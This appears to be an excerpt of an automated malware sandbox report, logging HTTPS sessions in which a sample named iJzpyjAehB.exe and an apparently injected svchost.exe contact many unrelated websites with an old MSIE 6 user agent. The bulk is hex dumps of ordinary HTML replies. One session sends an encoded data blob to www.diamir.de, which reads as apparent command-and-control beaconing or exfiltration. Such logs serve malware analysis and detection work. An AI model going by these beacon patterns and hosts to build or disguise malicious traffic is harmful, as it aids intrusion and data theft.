2023-03-10 06:56:20 UTC	1311	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
76	192.168.2.6	57004	83.223.113.46	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1184	OUT	GET /wp-signup.php?new=magicomm.co.uk HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: dataform.co.uk
2023-03-10 06:56:20 UTC	1324	IN	HTTP/1.1 200 OK Cache-Control: must-revalidate, no-cache, max-age=0 Keep-Alive: timeout=2, max=92 Content-Length: 48938 Content-Type: text/html; charset=UTF-8 Expires: Wed, 11 Jan 1984 05:00:00 GMT Vary: Accept-Encoding Server: Apache Access-Control-Allow-Headers: mobileappversionnumber, x-requested-with Access-Control-Allow-Origin: * X-Powered-By: PHP/7.0.29 X-UA-Compatible: IE=EmulateIE10 X-Frame-Options: SAMEORIGIN X-Mod-Pagespeed: 1.9.32.14-0 Strict-Transport-Security: max-age=10886400 X-Powered-By: ASP.NET Date: Fri, 10 Mar 2023 06:56:20 GMT Connection: close
2023-03-10 06:56:20 UTC	1325	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 21 28 49 45 20 36 29 20 7c 20 21 28 49 45 20 37 29 20 7c 20 21 28 49 45 20 38 29 20 20 5d 3e 3c 21 2d 2d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 3e 0a 3c 21 2d 2d 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 3e 0a 09 20 20 20 20 3c Data Ascii: <!DOCTYPE html>...[if !(IE 6) \| !(IE 7) \| !(IE 8) ]>...><html lang="en-US" class="no-js">...<![endif]--><head><meta charset="UTF-8"/><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=0"> <
2023-03-10 06:56:20 UTC	1328	IN	Data Raw: 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 2c 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 28 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 44 4f 4d 43 6f 6e 74 65 6e 74 4c 6f 61 64 65 64 22 2c 6e 2c 21 31 29 2c 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 6c 6f 61 64 22 2c 6e 2c 21 31 29 29 3a 28 65 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 6c 6f 61 64 22 2c 6e 29 2c 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 72 65 61 64 79 73 74 61 74 65 63 68 61 6e 67 65 22 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 22 63 6f 6d 70 6c 65 74 65 22 3d 3d 3d 61 2e 72 65 61 64 79 53 74 61 74 65 26 26 74 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 28 29 7d 29 29 2c 28 6e 3d 74 2e 73 6f 75 72 63 65 7c 7c 7b 7d 29 2e 63 6f 6e 63 Data Ascii: eadyCallback()},a.addEventListener?(a.addEventListener("DOMContentLoaded",n,!1),e.addEventListener("load",n,!1)):(e.attachEvent("onload",n),a.attachEvent("onreadystatechange",function(){"complete"===a.readyState&&t.readyCallback()})),(n=t.source\|\|{}).conc
2023-03-10 06:56:20 UTC	1336	IN	Data Raw: 20 30 2e 34 20 30 2e 38 3b 30 2e 32 20 30 2e 38 20 30 2e 34 20 30 2e 38 27 20 63 61 6c 63 4d 6f 64 65 3d 27 73 70 6c 69 6e 65 27 20 20 2f 25 33 45 20 20 20 25 33 43 2f 70 61 74 68 25 33 45 20 20 20 25 33 43 70 61 74 68 20 74 72 61 6e 73 66 6f 72 6d 3d 27 74 72 61 6e 73 6c 61 74 65 28 31 34 29 27 20 64 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 25 33 45 20 20 20 20 20 25 33 43 61 6e 69 6d 61 74 65 20 61 74 74 72 69 62 75 74 65 4e 61 6d 65 3d 27 64 27 20 76 61 6c 75 65 73 3d 27 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 34 20 56 32 38 20 48 34 20 56 34 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 3b 20 4d 30 20 31 32 20 56 32 30 20 48 34 20 56 31 32 7a 27 20 64 75 72 3d 27 31 2e 32 73 27 20 72 65 70 65 Data Ascii: 0.4 0.8;0.2 0.8 0.4 0.8' calcMode='spline' /%3E %3C/path%3E %3Cpath transform='translate(14)' d='M0 12 V20 H4 V12z'%3E %3Canimate attributeName='d' values='M0 12 V20 H4 V12z; M0 4 V28 H4 V4z; M0 12 V20 H4 V12z; M0 12 V20 H4 V12z' dur='1.2s' repe
2023-03-10 06:56:20 UTC	1344	IN	Data Raw: 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 72 65 76 73 6c 69 64 65 72 2f 70 75 62 6c 69 63 2f 61 73 73 65 74 73 2f 6a 73 2f 6a 71 75 65 72 79 2e 74 68 65 6d 65 70 75 6e 63 68 2e 72 65 76 6f 6c 75 74 69 6f 6e 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 35 2e 34 2e 38 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 3e 2f 2f 3c 21 5b 43 44 41 54 41 5b 0a 76 61 72 20 77 63 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 70 61 72 61 6d 73 3d 7b 22 61 6a 61 78 5f 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 5c 2f 77 70 2d 61 64 6d 69 6e 5c 2f 61 Data Ascii: ipt' src='https://dataform.co.uk/wp-content/plugins/revslider/public/assets/js/jquery.themepunch.revolution.min.js?ver=5.4.8'></script><script type='text/javascript'>//<![CDATA[var wc_add_to_cart_params={"ajax_url":"https:\/\/dataform.co.uk\/wp-admin\/a
2023-03-10 06:56:20 UTC	1352	IN	Data Raw: 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 32 33 2f 30 31 2f 44 46 2d 69 63 6f 6e 2d 6c 6f 67 6f 2e 73 76 67 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 31 32 30 78 31 32 30 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b Data Ascii: ps://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="76x76" href="https://dataform.co.uk/wp-content/uploads/2023/01/DF-icon-logo.svg"><link rel="apple-touch-icon" sizes="120x120" href="https://dataform.co.uk
2023-03-10 06:56:20 UTC	1360	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 35 34 30 34 30 22 3e 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 70 72 69 63 69 6e 67 2f 27 20 64 61 74 61 2d 6c 65 76 65 6c 3d 27 31 27 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 2d 74 65 78 74 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 74 65 78 74 22 3e 50 72 69 63 69 6e 67 3c 2f 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 6c 69 3e 20 3c 6c 69 20 63 6c 61 73 73 3d 22 6d 65 6e 75 2d 69 74 65 6d 20 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 70 6f 73 74 5f 74 79 70 65 20 6d 65 6e 75 2d 69 74 65 6d 2d 6f 62 6a 65 63 74 2d 70 61 67 65 20 6d 65 6e 75 2d 69 74 Data Ascii: menu-item-object-page menu-item-54040"><a href='https://dataform.co.uk/pricing/' data-level='1'><span class="menu-item-text"><span class="menu-text">Pricing</span></span></a></li> <li class="menu-item menu-item-type-post_type menu-item-object-page menu-it
2023-03-10 06:56:20 UTC	1368	IN	Data Raw: 72 6d 2d 37 5c 2f 76 31 22 7d 7d 3b 0a 2f 2f 5d 5d 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 2d 37 2f 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 73 63 72 69 70 74 73 2e 6a 73 3f 76 65 72 3d 35 2e 31 2e 33 27 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 73 3a 2f 2f 64 61 74 61 66 6f 72 6d 2e 63 6f 2e 75 6b 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 67 6f 5f 70 72 69 63 69 6e 67 2f 61 Data Ascii: rm-7\/v1"}};//...</script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/contact-form-7/includes/js/scripts.js?ver=5.1.3'></script><script type='text/javascript' src='https://dataform.co.uk/wp-content/plugins/go_pricing/a

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
77	192.168.2.6	57009	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1184	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: diamir.de
2023-03-10 06:56:19 UTC	1185	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 10 Mar 2023 06:56:19 GMT Content-Type: text/html Content-Length: 162 Connection: close Location: https://www.diamir.de/ Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:19 UTC	1185	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
78	192.168.2.6	57017	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1185	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: hyab.se
2023-03-10 06:56:19 UTC	1219	IN	HTTP/1.1 302 Found Date: Fri, 10 Mar 2023 06:56:19 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close Location: https://hyab.com Cache-Control: max-age=600 Expires: Fri, 10 Mar 2023 07:06:19 GMT CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=lzBYFLyEBWaU8lFN6D085O8zKxpAtHZRkndxBzS4A2RCY%2FzODZEOqTf5V7qmie18tSVu0kX3p8mVWdzhw4aqW5OnLXT%2F1i8ATwTUrgahqMW8qMnwosjf5UcQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a83c196d3a6a-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:19 UTC	1220	IN	Data Raw: 63 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 79 61 62 2e 63 6f 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: c8<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://hyab.com">here</a>.</p></body></html>
2023-03-10 06:56:19 UTC	1220	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
79	192.168.2.6	57011	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1185	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:19 UTC	1220	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:19 UTC	1221	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:20 UTC	1236	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:20 UTC	1252	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 32 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?2000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:20 UTC	1268	IN	Data Raw: 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d 2d 3e 20 0d 0a 20 20 20 Data Ascii: </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-->

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.6	52648	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:13 UTC	145	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de Content-Length: 3856
2023-03-10 06:56:13 UTC	145	OUT	Data Raw: 69 57 73 2f 68 5a 79 6d 71 61 75 74 73 4c 4b 30 74 37 6d 38 78 4d 6a 4c 7a 74 47 36 79 32 44 65 5a 76 65 52 4c 6a 79 7a 44 42 72 2b 66 56 6d 71 31 74 6d 63 30 64 6f 62 53 4c 57 34 55 73 5a 4d 63 71 37 52 5a 2f 61 47 69 76 70 79 66 78 64 67 32 74 74 5a 52 49 56 32 42 38 4f 6c 7a 79 59 61 31 34 48 4f 79 61 49 59 41 75 67 4e 78 77 68 2f 4c 34 4f 4c 45 73 30 53 56 7a 37 34 62 34 43 2f 6f 48 4c 71 79 48 66 68 6c 32 53 78 57 7a 4e 4a 53 31 73 57 43 46 4b 39 44 32 37 69 45 44 52 48 73 75 67 66 35 4f 7a 7a 50 50 70 59 64 48 58 37 78 45 2b 4b 44 50 6c 72 32 78 75 64 77 6d 66 6d 52 37 34 6a 77 66 56 71 58 45 33 43 6e 6c 76 69 30 6f 50 42 4d 69 4e 49 66 2f 63 79 37 4d 51 54 52 5a 55 39 45 77 44 63 44 71 46 4c 46 44 42 6b 59 51 64 2f 70 65 52 33 46 64 77 68 2f 6c 62 Data Ascii: iWs/hZymqautsLK0t7m8xMjLztG6y2DeZveRLjyzDBr+fVmq1tmc0dobSLW4UsZMcq7RZ/aGivpyfxdg2ttZRIV2B8OlzyYa14HOyaIYAugNxwh/L4OLEs0SVz74b4C/oHLqyHfhl2SxWzNJS1sWCFK9D27iEDRHsugf5OzzPPpYdHX7xE+KDPlr2xudwmfmR74jwfVqXE3Cnlvi0oPBMiNIf/cy7MQTRZU9EwDcDqFLFDBkYQd/peR3Fdwh/lb
2023-03-10 06:56:14 UTC	149	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:14 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:14 UTC	149	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
80	192.168.2.6	57019	138.201.65.187	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:19 UTC	1185	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: www.diamir.de
2023-03-10 06:56:19 UTC	1219	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Fri, 10 Mar 2023 06:56:19 GMT Content-Type: text/html Content-Length: 548 Connection: close Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
2023-03-10 06:56:19 UTC	1219	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
81	192.168.2.6	57041	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:20 UTC	1269	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
